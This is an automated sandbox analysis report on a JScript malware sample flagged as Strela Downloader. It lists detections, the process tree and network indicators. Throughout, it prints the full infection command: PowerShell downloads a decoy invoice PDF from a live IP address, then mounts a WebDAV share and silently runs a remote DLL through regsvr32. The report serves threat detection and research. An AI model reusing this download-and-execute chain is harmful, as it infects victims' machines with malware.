Edit tour

Windows Analysis Report
16847122831539518647.js

Overview

General Information

Sample name:	16847122831539518647.js
Analysis ID:	1588099
MD5:	8c9cdb78ef46e8564985d9bd409742d8
SHA1:	cff36a34506aaaab7f0a7d8442fbe03b70a492b6
SHA256:	9811d72ed29cee60e1c20922c55e2055425dd8f366d76ee02d37eacf15059954
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1472 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 432 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5800 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2292 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7516 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1372,i,4550130085711816893,7265772474360566291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5548 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4072 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7352 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1472	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5800, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5800, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ProcessId: 1472, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4072, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49740

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 432, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 432, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 432, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 432, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 432, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ProcessId: 1472, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5800, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5548, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4072, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7352, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5548, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4072, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 432, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:23:59.315746+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49740	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:23:56.882124+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49726	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16847122831539518647.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16847122831539518647.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49740 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:23:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49740

Source: global traffic

TCP traffic: 192.168.2.5:49740 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:60089 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

